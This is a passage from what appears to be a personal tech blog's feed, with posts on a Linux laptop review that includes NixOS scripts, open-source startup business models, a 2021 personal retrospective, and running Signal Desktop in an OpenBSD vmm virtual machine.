./honk &amp;</code> and calling it a day<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>? Not really. It&rsquo;s more fun, I guess.</p>

<p><strong>On honk</strong>: It&rsquo;s refreshing. I liked running Pleroma + Soapbox (I still
do, haven&rsquo;t killed it yet), but it always felt alien to me. I didn&rsquo;t
understand the code, didn&rsquo;t enjoy having to upgrade Elixir/Erlang OTP
whatever, <code>mix.deps get</code> blah blah; a single Go binary + sqlite + HTML
templates speaks to me.</p>

<p>Go follow me at <a href="https://h.icyphox.sh/u/icy" rel="nofollow">icy@icyphox.sh</a>. It&rsquo;s why I
even wrote this post. Not that I can see it, honk doesn&rsquo;t have those
ego-numbers.</p>

<p>You can find all the source code to deploy honk yourself here:
<a href="https://git.icyphox.sh/honk" rel="nofollow">https://git.icyphox.sh/honk</a></p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><p>Written by <a href="https://honk.tedunangst.com/u/tedu" rel="nofollow">tedu</a>. He&rsquo;s a cool
 guy who runs and hacks OpenBSD. The honk source is a fun read.</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2">Had to setup a custom domain for this: <a href="https://fly.io/docs/app-guides/custom-domains-with-fly/" rel="nofollow">https://fly.io/docs/app-guides/custom-domains-with-fly/</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3"><p>Yes that&rsquo;s actually how I run a bunch of my services, including
 <a href="https://forlater.email" rel="nofollow">forlater.email</a>!</p> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>The Asus ROG Flow X13</title>
|
||
<updated>2022-05-02T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2022-05-02:blog/flow-x13</id>
|
||
<link href="https://icyphox.sh/blog/flow-x13"></link>
|
||
<summary type="html"><h2>My hunt for a new laptop has finally concluded</h2>
<p><img src="https://cdn.icyphox.sh/3NZ1u.jpg" alt="" /></p>

<p>I&rsquo;ve been on the lookout for a new laptop for a while now. While the HP
Envy was good&mdash;is good&mdash;the measly 8 gigs of RAM was struggling to
hold in all the beefy stuff that I run these days (skaffold, k3s, etc.).
And it being a &ldquo;budget&rdquo; laptop of its time didn&rsquo;t do its chassis any
favors&mdash;the bottom was very scratched because the rubber bumpons
came off; the keyboard deck had some rather mysterious scuff marks.
Anyway, off I went looking for a replacement.</p>

<p>My requirements for a laptop are somewhat specific. From the title it&rsquo;s
obvious that I&rsquo;d like to have good Linux support; here&rsquo;s a list of
other things that I expect to see:</p>

<ul>
<li>HiDPI: Any resolution above 1080p (or 1200p). I look at text all day,
and I&rsquo;d like it to be <em>crispy</em>.</li>
<li>13&rdquo; - 14&rdquo;: I don&rsquo;t like overly large or heavy laptops. I think 13.3
inches is the perfect screen size; 14 is a compromise.</li>
<li>A decent CPU: I don&rsquo;t really do anything very compute intensive, but
an i7 or a Ryzen 7 should be ideal.</li>
<li>32 GB RAM: Having struggled with 8 gigs for so long made this a hard
requirement. Never again will I have to <code>pkill gopls</code>.</li>
</ul>

<p>I can&rsquo;t say I had a specific budget in mind, but anything more than 140k
INR (1.4L, ≈1800 USD) is somewhat hard to justify. Listed below were the
contenders for the prestegious position of being my laptop of choice:</p>

<ul>
<li><strong>Tuxedo InfinityBook Pro 14</strong>: While this ticks all the boxes, the
cost including shipping (as of this writing) is about 1700 EUR. And
that&rsquo;s without opening the massive, stinky can of worms called Indian
Customs. Expecting a very lenient 40% duty, it&rsquo;s safe to say it&rsquo;s
<em>batshit expensive</em>.</li>
<li><strong>ThinkPad X13</strong>: Lenovo&rsquo;s site allows you to customize orders for
certain models, and these will be custom built and shipped from China.
The nice thing is Lenovo takes care of the customs and shipping and
other logistics. The not-nice thing is it takes a minimum of <em>12
weeks</em>&mdash;at least for the X13. That&rsquo;s 4 whole months. I think I&rsquo;ll
pass.</li>
</ul>

<p>With that preface out of the way, the machine I finally settled on was
(as the title reads) the <strong>Asus ROG Flow X13</strong>. My model set me back by
about 130,000 INR (1.3L, ≈1700 USD). The trick was to look in the
&ldquo;gaming laptops&rdquo; section, because this model didn&rsquo;t show up anywhere in
the thin-and-light/productivity/ultrabook searches. And it doesn&rsquo;t look
gamery at all. Here&rsquo;s what my Dad had to say, as a serial ThinkPad user:</p>

<blockquote>
<p>&ldquo;It looks like a ThinkPad.&rdquo;</p>
</blockquote>

<h2 id="hardware">hardware</h2>

<p>I opted to buy the 2021 model because, really, the only difference in
the 2022 model is the marginally better CPU and a MUX switch. I don&rsquo;t
care much for either. The octa-core Ryzen 9 5900HS has more compute
power than I could ever need.</p>

<p>The chassis is made of a &ldquo;magnesium alloy&rdquo;, with a grooved finish that
feels very nice to touch. There&rsquo;s very minimal branding&mdash;one somewhat
&ldquo;iridescent&rdquo; label with the Republic of Gamers logotype on one corner of
the lid, and the ROG logo on the right palm-rest, made out of the same
groove design.</p>

<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>

<tbody>
<tr>
<td><img src="https://cdn.icyphox.sh/J2SN2.jpg" alt="" /></td>
<td><img src="https://cdn.icyphox.sh/0wFTQ.jpg" alt="" /></td>
</tr>
</tbody>
</table>
<p>The hinges are sturdy and allow for 360° rotation. The lid can be opened
with a single finger, which is much appreciated. The screen itself is a
gorgeous 4K (3840×2400) touch screen panel. While the need need for 4K
on a 13&rdquo; screen is questionable, I welcome it wholeheartedly. It is the
best screen I&rsquo;ve used; the colors are punchy, text is (naturally) very
crisp. It&rsquo;s glossy, and attracts a ton of fingerprints. A stylus is
included in the box&mdash;or at least it was for me&mdash;but I haven&rsquo;t found
much use for it after the initial excitement.</p>

<p><img src="https://cdn.icyphox.sh/s7u2n.jpg" alt="" /></p>

<p>The keyboard is pretty good. Given the choice, I wouldn&rsquo;t have picked
the font on the caps, but I suppose it could be worse. Three backlight
modes for low, medium and high brightness exist. These can be controlled
via the sysfs device at <code>/sys/class/leds/asus::kbd_backlight/</code>. The
dedicated volume buttons are nice and work out of the box; the mic-mute
toggle key however needs special treatment to get detected by X11&mdash;adding the below udev rule did the trick:</p>

<pre><code class="language-nix">udev.extraHwdb = ''
 evdev:input:b0003v0B05p19B6*
 KEYBOARD_KEY_ff31007c=f20
'';
</code></pre>

<p>For ports, you get a USB-C and a USB-A on the right along with the power
button; on the left: a 3.5mm headphone/microphone jack, a HDMI 2.0 port,
and the proprietary XGm port for use with the <a href="https://rog.asus.com/in/external-graphic-docks/2021-rog-xg-mobile-model/" rel="nofollow">XG
Mobile</a>
external GPU. The eGPU port, while being generally useless to me, also
happens to contain a USB-C port, bringing the total to two. The ports
selection could be better&mdash;a single USB-A is one too less, forcing me
to have to use a dongle to connect both my keyboard and mouse.</p>

<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>

<tbody>
<tr>
<td><img src="https://cdn.icyphox.sh/xyYII.jpg" alt="" /></td>
<td><img src="https://cdn.icyphox.sh/z-Y1R.jpg" alt="" /></td>
</tr>
</tbody>
</table>
<p>The entire package weighs in at about 1.3 kilograms, which is just as
much as my HP Envy. For how well it&rsquo;s built, I&rsquo;m not complaining.</p>

<p>Finally, here&rsquo;s the full spec list:</p>

<ul>
<li>Ryzen 9 5900HS, 8 cores &amp; 16 threads</li>
<li>32 GB LPDDR4X RAM @ 4266MHz</li>
<li>Nvidia GeForce GTX 1650 Max-Q, 4 GB GDDR6</li>
<li>1 TB SSD</li>
</ul>

<h2 id="software">software</h2>

<p>Installing NixOS was straightforward. Basically everything works out of
the box. I&rsquo;d have liked to run OpenBSD on it, but I unfortunately
require Linux for work. NixOS, while I understand nothing of Nix (the
language), works well enough. Being able to configure your entire system
from one single place is quite nice. Overall, it&rsquo;s a lot more cohesive
than other Linux systems.</p>

<p>The Nvidia GPU is handled surprisingly well. Looks like Linux has
improved a lot in this regard. &ldquo;Offload mode&rdquo; is especially neat&mdash;you
can selectively &ldquo;offload&rdquo; certain tasks (like running Steam) to the GPU,
and otherwise have it suspended. Here&rsquo;s how I do it:</p>

<pre><code class="language-nix">{ pkgs, ... }:

pkgs.writeShellScriptBin &quot;nvidia-offload&quot;
 ''
 export __NV_PRIME_RENDER_OFFLOAD=1
 export __NV_PRIME_RENDER_OFFLOAD_PROVIDER=NVIDIA-G0
 export __GLX_VENDOR_LIBRARY_NAME=nvidia
 export __VK_LAYER_NV_optimus=NVIDIA_only
 exec -a &quot;$0&quot; &quot;$@&quot;
 ''
</code></pre>

<p>Now simply run</p>

<pre><code class="language-sh">$ nvidia-offload steam
</code></pre>

<p>to have Steam run on the GPU. Use the <code>nvidia-smi</code> tool to inspect
processes currently using the GPU.</p>

<p>The laptop has an accelerometer to detect when it&rsquo;s in tablet mode, and
invert the display accordingly. Unfortunatly, I couldn&rsquo;t figure out how
to get it to work in X11/cwm. Instead, I wrote a handy script to rotate
the display and the touch input:</p>

<pre><code class="language-nix">{ pkgs, ... }:

let
 xrandr = &quot;${pkgs.xorg.xrandr}/bin/xrandr&quot;;
 xinput = &quot;${pkgs.xorg.xinput}/bin/xinput&quot;;
in
pkgs.writeShellScriptBin &quot;invert&quot;
 ''
 orientation=&quot;$(${xrandr} --query --verbose | grep eDP | cut -d ' ' -f 6)&quot;
 if [[ &quot;$orientation&quot; == &quot;normal&quot; ]];
 then
 echo &quot;turning screen upside down...&quot;
 ${xrandr} -o inverted
 ${xinput} set-prop 'ELAN9008:00 04F3:2C82' 'Coordinate Transformation Matrix' -1 0 1 0 -1 1 0 0 1
 ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Pen (0)' 'Coordinate Transformation Matrix' -1 0 1 0 -1 1 0 0 1
 ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Eraser (0)' 'Coordinate Transformation Matrix' -1 0 1 0 -1 1 0 0 1
 else
 echo &quot;reverting back to normal...&quot;
 ${xrandr} -o normal
 ${xinput} set-prop 'ELAN9008:00 04F3:2C82' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1
 ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Pen (0)' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1
 ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Eraser (0)' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1
 fi
 ''
</code></pre>

<p>Then, simply run <code>invert</code> to toggle your current orientation:</p>

<pre><code class="language-sh">▲ invert
turning screen upside down...

▲ invert
reverting back to normal...
</code></pre>

<p>Battery life could be better, but with TLP/powertop + switching the CPU
governor to <code>powersave</code> on battery, I get about 7 - 8 hours on light
workloads, and about 5 on heavy. I&rsquo;m going to guess the 4K panel is to
blame.</p>

<p>Also worth mentioning is the <a href="https://asus-linux.org" rel="nofollow">Asus Linux</a>
project. They have some useful resources for running Linux on Asus
laptops, and <a href="https://gitlab.com/asus-linux/asusctl" rel="nofollow">asusctl</a> /
<a href="https://gitlab.com/asus-linux/supergfxctl" rel="nofollow">supergfxctl</a>&mdash;two great
tools for managing power profiles, fan curves and the dGPU.</p>

<p>Overall, I couldn&rsquo;t be happier with this machine. It wasn&rsquo;t cheap, but
it sure does check all the boxes and it&rsquo;s incredibly future proof. As
for my trusty old HP Envy 13, I haven&rsquo;t decided yet what to do with it.
It&rsquo;ll most probably end up in my closet, enshrined under a layer of
clothes.</p>

<p>You can find all the scripts mentioned in this post (and more!)
<a href="https://github.com/icyphox/dotfiles/tree/master/nix" rel="nofollow">here</a>.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Cloud (F)OSS is a good model</title>
|
||
<updated>2022-02-07T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2022-02-07:blog/cloud-foss</id>
|
||
<link href="https://icyphox.sh/blog/cloud-foss"></link>
|
||
<summary type="html"><h2>On building (mostly) open source startups</h2>
<p>Of late, I&rsquo;ve been thinking a lot about what makes a startup work, and I
think open sourcing your product&mdash;or a good portion of it&mdash;is a
great approach. To be clear, I&rsquo;m only talking about SaaS platforms, and
not any other kind of product. Hence, I&rsquo;m dubbing this as &ldquo;Cloud FOSS&rdquo;.</p>

<p>The title of this post was initially &ldquo;Cloud FOSS is the way&rdquo;, but I
quickly realised that I know next to nothing about actually building
companies and I&rsquo;m really just talking out of my rear end. Nevertheless
it&rsquo;s still pretty fun to try and reason about why the open source model
is great for startups, so reason we shall.</p>

<p>Broadly speaking, there are two kinds of &ldquo;Cloud FOSS&rdquo; companies:</p>

<ul>
<li>the open source and cloud versions are identical, entirely free software (à la
<a href="https://sourcehut.org" rel="nofollow">sourcehut</a>)</li>
<li>the cloud version has exclusive &ldquo;premium&rdquo; features that aren&rsquo;t present
in the open source version&mdash;a.k.a the open core model; it seems to
be gaining a lot of popularity in recent times with the likes of
Gitlab etc.</li>
</ul>

<p>Let&rsquo;s dissect each approach and see what drives them.</p>

<h2 id="the-all-foss-absolutist-model">the all-FOSS absolutist model</h2>

<p>As mentioned above, sourcehut is a great&mdash;if not the only&mdash;example
of a company built this way. Unless of course, I&rsquo;m gravely mistaken
(wouldn&rsquo;t be the first time!), and you know of another, or are building
one yourself&mdash;please <a href="mailto:x@icyphox.sh" rel="nofollow">email me</a>; I&rsquo;ll be happy to
mention it here.</p>

<p><strong>Update</strong>: I was indeed mistaken. Here are a few companies built
similarly:</p>

<ul>
<li><a href="https://jmp.chat/" rel="nofollow">jmp.chat</a>&mdash;free-as-in-freedom US/Canadian phone
numbers</li>
<li><a href="https://frappe.io/" rel="nofollow">Frappe</a>&mdash;Indian company building a suite of
free software products</li>
<li><a href="https://plausible.io" rel="nofollow">Plausible Analytics</a>&mdash;free software analytics
platform. The self-hosted version has a less frequent (LTS) release
schedule.</li>
</ul>

<p>For those unaware, sourcehut is an entirely free software
company/startup that&rsquo;s building a software development platform; a suite
of tools and services like git/hg hosting, CI, mailing lists, issue
tracking etc. All of these can be self-hosted, with <a href="https://man.sr.ht/installation.md" rel="nofollow">plenty of
docs</a> to get started doing so. Or,
you can of course, pay for the hosted service at <a href="https://sr.ht" rel="nofollow">sr.ht</a>,
their flagship instance.</p>

<p>Granted, this one&rsquo;s probably quite hard to pull off, especially if you&rsquo;re VC
backed or have investors of any kind. When your product is free
software, you can&rsquo;t really bake in analytics and other creepy
user-tracking shit that&rsquo;s common these days; what pages perform better,
what buttons do users click more often, the likes. And naturally, you
don&rsquo;t really have metrics to show your investors that your latest
feature du jour is doing great (or not).</p>

<p>Thankfully for us, sourcehut is completely bootstrapped. They&rsquo;ve
<a href="https://sourcehut.org/blog/2022-01-09-how-does-our-business-work/" rel="nofollow">written
about</a>
their business model, and it&rsquo;s beautifully simple: they make money from
users subscribing to their service&mdash;the hosted version of the
sourcehut software&mdash;and from other free software consultation gigs.
That&rsquo;s it. And they&rsquo;re quite profitable. Very cool sourcehut.</p>

<h2 id="the-less-absolutist-open-core-model">the less absolutist open core model</h2>

<p>The open core model, according to Wikipedia&rsquo;s definition:</p>

<blockquote>
<p>primarily involves offering a &ldquo;core&rdquo; or feature-limited version of a
software product as free and open-source software, while offering
&ldquo;commercial&rdquo; versions or add-ons as proprietary software.</p>
</blockquote>

<p>Typically in SaaS offerings, the &ldquo;commercial&rdquo; version is a hosted
version of the open source software, <em>plus</em> the usual suspects like
analytics, project management, user management, and a seat count for
different subscription tiers. Some startups may simply continue to
operate this way, with feature parity between the open source and cloud
versions (minus the meta &ldquo;features&rdquo;); however, this may not always be
the case.</p>

<p>Oftentimes, in accordance with the definition above, the open source
version may be <em>feature-limited</em>, with some parts of the core feature
set only available on the cloud version. In most cases, this probably
doesn&rsquo;t matter to the average self-hoster, since the paywalled features
will most likely be irrelevant to them&mdash;usually catering to larger
deployments (support for say, CockroachDB), or enterprise-level
deployments (Active Directory support, SSO), etc.</p>

<p>The business model is quite straightforward&mdash;get initial traction via
the self-hosted open source software, while building out your cloud
offering. The community built around the self-hosted software are your
initial pool of potential paying customers. Generally, these are either
early-stage startups (seed to series A) who don&rsquo;t have a large enough
team to manage additional infrastructure, or large enterprises who are
happy to pay for well, the enterprise features. These enterprise deals
may even transition into large on-prem contracts.</p>

<p>One thing to note about most open core projects is they&rsquo;ll most likely
enforce a CLA or a Contributor License Agreement. This usually says
something to the effect of &ldquo;while you own the copyright to your code,
you grant us the rights to make money off it, or even relicense it
should we wish to do so&rdquo;. It&rsquo;s <a href="https://drewdevault.com/2018/10/05/Dont-sign-a-CLA.html" rel="nofollow">probably not a good
idea</a> to sign
one.</p>

<h2 id="why-cloud-foss-works">why cloud FOSS works</h2>

<p>Cloud FOSS as a basis for building a company probably works because of a
bunch of reasons. As a startup, getting an initial foothold in the
market can be hard, and offering a fully open source version of your
platform can simplify that a whole lot. Setup a GitHub organization, do
a Show HN and Bob&rsquo;s your uncle. Obviously, it isn&rsquo;t <em>that</em> easy, but you
get the idea.</p>

<p>Having an initial userbase from open source can be very useful. You
essentially get free insight into what features work and what don&rsquo;t,
and what features your users want. You also get bug reports, issues from
various deployment scenarios, environments, operating systems, etc. A
goldmine of information to help drive product development decisions.</p>

<p>Further, having a community built around your product helps too. High
quality contributors (sometimes), an audience for PR events, the ability
to conduct user surveys and most importantly, a hiring pool.</p>

<p>With that concludes my ideas on why Cloud FOSS is a good way to build a
startup. Again, I must reiterate that I literally have no idea what I&rsquo;m
talking about and whatever I posit is merely a result of &ldquo;Oh I&rsquo;ve seen
it work this way before&rdquo;. I&rsquo;m happy to hear what you think.</p>

<hr>

<p>This post was inspired by a conversation with
<a href="https://prithu.dev" rel="nofollow">Prithu</a>.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>2021 in review</title>
|
||
<updated>2022-01-10T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2022-01-10:blog/2021-in-review</id>
|
||
<link href="https://icyphox.sh/blog/2021-in-review"></link>
|
||
<summary type="html"><h2>The post-year ramble is here, slightly late this time</h2>
<p>The last year was quite eventful to say the least, and I&rsquo;d been putting
off on writing this retrospective simply because of the sheer number of
things that happened/I did, of varying levels of importance&mdash;both to
you as a reader, and me as&hellip; well, the one who experienced them.</p>

<p>I&rsquo;ll try to highlight the major ones here&mdash;they&rsquo;re also the ones I&rsquo;m
okay to discuss publicly, so there&rsquo;s that. As for the rest: they&rsquo;ll
serve as conversation fuel for 2022.</p>

<h2 id="i-graduated-barely">I graduated&hellip; barely</h2>

<p>After 4 long years, mostly &ldquo;learning&rdquo; about things that haven&rsquo;t been
used since like, my mom was born (I&rsquo;m looking at you Intel 8086), I am
now a Bachelor of Technology in Computer Science and Engineering. I say
barely because I actually did pretty terribly. I&rsquo;m still mildly
surprised that given my GPA, the degree certificate classifies it as a
&ldquo;First Class&rdquo;. I think they just felt sorry for us lot.</p>

<p>Was it a waste of time? A lot of the coursework, sadly, was. But my time
in college&mdash;however little&mdash;was actually quite fun. One thing&rsquo;s for
sure: I can&rsquo;t rewind time to see what would&rsquo;ve happened had I <em>not</em> done
the degree; but now I&rsquo;ve done it, and here we are. Wherever that is.
Maybe it helped, maybe it didn&rsquo;t. Oh well.</p>

<h2 id="my-time-at-deepsource">my time at DeepSource</h2>

<p>This time last year (January 2021), I joined
<a href="https://deepsource.io" rel="nofollow">DeepSource</a> as a Security Engineer (SRE on
paper). Suffice to say, I had an excellent time there, working with some
equally excellent people. I got to touch a whole bunch of systems:
ranging from observability pipelines, mesh networks in Kubernetes,
cloud-native security, and some more Kubernetes.</p>

<p>Oh, and here are a few pictures from our trip to the Maldives.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p>

<p><img src="https://cdn.icyphox.sh/FX~bI.jpg" alt="maldives 1" />
<img src="https://cdn.icyphox.sh/DMHDG.jpg" alt="maldives 2" /></p>

<p>In December 2021, I decided to leave DeepSource in favor of other
opportunities. I must say, I will deeply miss my equity when DeepSource
eventually becomes a unicorn&mdash;and I&rsquo;m confident they will! As for the
other opportunities, I will write about that in a future post. This is a
<em>retrospective</em> after all.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup></p>

<h2 id="projects-and-hacks">projects and hacks</h2>

<p>Probably my biggest and most fun project this year was
<a href="https://forlater.email" rel="nofollow">forlater.email</a>. Both the site, and its
<a href="/blog/building-forlater">technical breakdown</a> frontpaged on Hacker News
and was pretty well received. In hindsight, I should&rsquo;ve included some
kind of payment model, but at the same time, being flexible enough to
accomodate those that can&rsquo;t afford to pay. And the code is shit. I&rsquo;ll
probably rewrite it. Eventually.<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup></p>

<p>My attempt at running <a href="/blog/k8s-at-home">Kubernetes at home</a>, while
being super fun, failed miserably. I learnt a ton from it however, and I
have no regrets. Setting up a Wireguard mesh manually, bootstrapping a
cluster using <code>kubeadm</code>, multi-arch considerations, etc. I do sorely
miss the declarative-ness of it all, I must say.</p>

<p>Besides these, I don&rsquo;t think I spent any serious amount of time on
anything else. Other than, of course, work projects.</p>

<h2 id="this-site">this site</h2>

<p>As is tradition, let&rsquo;s talk about this site and the blog. There have
been some minor visual changes but I think it&rsquo;s largely stayed the same.
I&rsquo;ve found the aesthetic I like&mdash;at least for now.</p>

<p>I&rsquo;ve re-added the <a href="/reading">reading</a> page to publicly track books that
I&rsquo;ve read. More on that in a bit.</p>

<p>As for blog posts this year, let&rsquo;s see:</p>

<pre><code class="language-console">$ grep 'date: 2021' pages/blog/*.md | wc -l
 13
</code></pre>

<p>Only 13! That&rsquo;s about 1 a month, and the lowest count per year so far.
I&rsquo;ll attribute this to me dedicating more time to work, i.e. I&rsquo;ve become
a wagie cagie. Make of that what you will. That said, I think the
quality of posts has considerably increased. I think.</p>

<h2 id="other-stuff">other stuff</h2>

<p>I couldn&rsquo;t think of an appropriate heading for this section so &ldquo;other
stuff&rdquo; it is: a catch-all category for general life-ey things.</p>

<p>I read a grand-total of 9 books last year&mdash;not particularly good. I&rsquo;d
like to at least double that this year. Some of my favourite reads were:
<em>Dune</em>, <em>The Hero of Ages</em>, <em>The Enemy</em> and <em>Permanent Record</em>. Big
thanks to <a href="https://awalvie.me" rel="nofollow">Vishesh</a> for <em>Dune</em> and
<a href="https://twitter.com/thebluefowl" rel="nofollow">Vishnu</a> for <em>Permanent Record</em>!</p>

<p>Language learning took an unfortunate hit, with basically zero progress
in Russian. I did study it for a month or two in early 2021, but I won&rsquo;t
count it for I&rsquo;ve likely forgotten it all. I hope to restart where I
left off, this year&mdash;hopefully with the help of my new <a href="/blog/bujo">productivity
hacks</a> (which has been working wonders, by the way!).</p>

<p>I had roughly about 6 - 7 months of time to hit the gym, i.e. when the
gym wasn&rsquo;t closed off, and I managed to get some swole on. As of this
writing, it&rsquo;s the &ldquo;third wave&rdquo; of COVID-19 and the gym&rsquo;s closed. Again.</p>

<p>In other somewhat big news: I switched to an iPhone 13 mini. This
probably warrants its own big post&mdash;one full of copes and hopes. I
will have to mull over it a bit to fully articulate my thoughts. I have
a few other post ideas as well&mdash;many that I planned on writing last
year but never got around to. I often consider writing commentary on
<code>$TECH_OUTRAGE_DU_JOUR</code> but everything that I want to say has usually
already been said. I&rsquo;m sure there&rsquo;ll be plenty of stuff I can be the
<em>first</em> to comment on in 2022.</p>

<p>And speaking of 2022&hellip;</p>

<h2 id="2022-might-be-big">2022 might be big</h2>

<p>This might be a big year for me, with some potentially huge life
updates. New job, new adventures, the works. I&rsquo;m looking forward to it.
2021 was super eventful; 2022 just might top it.</p>

<p>Here&rsquo;s a list of things I&rsquo;m looking forward to this year:</p>

<ul>
<li>Formula 1: New regulations! Williams back on top? Who knows?!</li>
<li>New albums: Oceans Ate Alaska, I See Stars (one can hope!), Invent
Animate.</li>
<li>Travel.</li>
<li>Reading <em>The Wheel of Time</em> series.</li>
</ul>

<p>I&rsquo;m going to close off this rambly post with a big thanks to everyone who&rsquo;s
supporting forlater.email&mdash;it made my whole last year. Maybe this year
too. And you just might see another micro-SaaS from me!</p>

<p>I&rsquo;ll see you soon.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><p>If you&rsquo;re in Bangalore and are looking for work, definitely
consider <a href="https://careers.deepsource.io" rel="nofollow">applying to DeepSource</a>!</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2">There are hints&hellip; in various places&hellip; <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3">Sure, lol. <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Signal Desktop on OpenBSD via vmm(4)</title>
|
||
<updated>2021-12-26T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-12-26:blog/signal-vmm</id>
|
||
<link href="https://icyphox.sh/blog/signal-vmm"></link>
|
||
<summary type="html"><h2>X11 forwarding to the rescue</h2>
<p>Early this year, I completely switched over to Signal and I&rsquo;m fortunate enough
to have everyone that I talk to switch over as well. I know I wrote what some
might view as a <a href="/blog/signal">hit piece on Signal</a>, but I have immense respect
for the project and will continue to use it until an actually viable
alternative comes along.</p>

<p>Unfortunately, their desktop application isn&rsquo;t natively available for OpenBSD.
A solution that&rsquo;s worked decently enough for me is to run it via X11 forwarding
on a Ubuntu VM running on <a href="https://man.openbsd.org/vmm" rel="nofollow">vmm(4)</a>&mdash;OpenBSD&rsquo;s
built-in hypervisor.</p>

<h2 id="setting-up-the-vm">setting up the VM</h2>

<p>I recommend reading the <a href="https://www.openbsd.org/faq/faq16.html" rel="nofollow">FAQ on
Virtualization</a> first, but here&rsquo;s a
quick overview. Note that I&rsquo;ll be skipping the networking bits so I highly
recommend reading the FAQ to get your VM connected to the internet.</p>

<p>Create a disk image for the VM to install onto.</p>

<pre><code class="language-sh">$ vmctl create -s 30G ubuntu.img
</code></pre>

<p>I&rsquo;m using the Ubuntu 18.04 LTS
<a href="archive.ubuntu.com/ubuntu/dists/bionic/main/installer-amd64/current/images/netboot/mini.iso" rel="nofollow">mini.iso</a>.
I ran into issues with the 20.04 LTS ISO, but I think you should be able to
<code>dist-upgrade</code> from 18.04 without much trouble. Once you have the ISO
downloaded somewhere, edit <code>/etc/vm.conf</code>:</p>

<pre><code class="language-conf">vm &quot;ubuntu&quot; {
 memory 2G 
 cdrom &quot;/path/to/mini.iso&quot;
 disk &quot;/path/to/ubuntu.img&quot;
 interfaces 1
 local interface tap
 owner icy # this is your user
 disable
}
</code></pre>

<p>Start and (optionally) enable <a href="https://man.openbsd.org/vmd" rel="nofollow">vmd(8)</a>.</p>

<pre><code class="language-sh">$ doas rcctl -f start vmd
$ doas rcctl enable vmd
</code></pre>

<p>We can now boot into the VM, and interface via the serial console. This can be
done using <a href="https://man.openbsd.org/vmctl" rel="nofollow">vmctl(8)</a>.</p>

<pre><code class="language-sh">$ vmctl start -c ubuntu # note -c for console
</code></pre>

<p>Hit Tab on the bootloader screen to edit the kernel parameters. We want to
force it to use the serial console for installation. This is done by adding
<code>console=ttyS0,115200</code> on the line shown. If there&rsquo;s a <code>quiet</code>, delete that and
add the above. You can then continue on with the installation&mdash;install
OpenSSH, add your keys etc.</p>

<p>Once installed, remove the <code>cdrom</code> line from your <code>vm.conf</code> and start the VM
without the serial console.</p>

<pre><code>$ vmctl start ubuntu
</code></pre>

<h2 id="installing-and-running-signal-desktop">installing and running Signal Desktop</h2>

<p>SSH into the VM with X11 forwarding enabled:</p>

<pre><code class="language-sh">$ ssh -Y myvmhost
</code></pre>

<p>Install <code>signal-desktop</code>, following the instructions at
<a href="https://signal.org/download" rel="nofollow">https://signal.org/download</a>. You can now run the <code>signal-desktop</code>
command from the VM&rsquo;s shell. As long as it spawns a GUI, the multitude
of warnings and errors it produces can ge ignored.</p>

<p>Below is a helper script to launch Signal from your host machine:</p>

<pre><code class="language-sh">#!/bin/sh
# signal: launch signal-desktop via a vm (vmm(4))

status=&quot;$(vmctl status ubuntu | grep running)&quot;
[[ &quot;$status&quot; == &quot;&quot; ]] &amp;&amp; {
 vmctl start ubuntu
 sleep 10
}

ssh -Y pantwo signal-desktop &amp;&gt; /dev/null
</code></pre>

<p><img src="https://cdn.icyphox.sh/HwF45.png" alt="signal desktop" /></p>

<h2 id="caveats">caveats</h2>

<ul>
<li>Files to be shared will have to be transferred to the VM&rsquo;s filesystem
for upload. Images/text can be pasted into the text-box from the
clipboard, however.</li>
<li>UI elements are slightly laggy but text input is fast enough.</li>
<li>No notifications, but I think that&rsquo;s a feature.</li>
</ul>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>The quest to optimize productivity</title>
|
||
<updated>2021-11-04T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-11-04:blog/bujo</id>
|
||
<link href="https://icyphox.sh/blog/bujo"></link>
|
||
<summary type="html"><h2>This blog is devolving into a techbro cliché</h2>
<p>Us folks in tech have this general obsession with productivity. It&rsquo;s all
about getting the workflow <em>just right</em>. Or at least, that&rsquo;s the goal.
Heck, there are entire companies built around optimizing productivity in
specific workflows&mdash;email, notes, tasks, etc. Suffice to say, there&rsquo;s
a lot of activity in this space.</p>

<p>I&rsquo;ve heard reports of varying degrees of success with these tools, from
&ldquo;OMG it like, totally changed how I take notes!&rdquo;, to &ldquo;I&rsquo;m not sure it&rsquo;s
worth paying $30 per month for a mail client&rdquo; (yeah, you know the
one)<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>. However, I will never use these tools. Primarily because I
don&rsquo;t trust them&mdash;I don&rsquo;t trust them with my data; more importantly, I
don&rsquo;t trust them to exist long enough before they decide to thank me for
their incredible journey and &ldquo;sunset&rdquo; their product.</p>

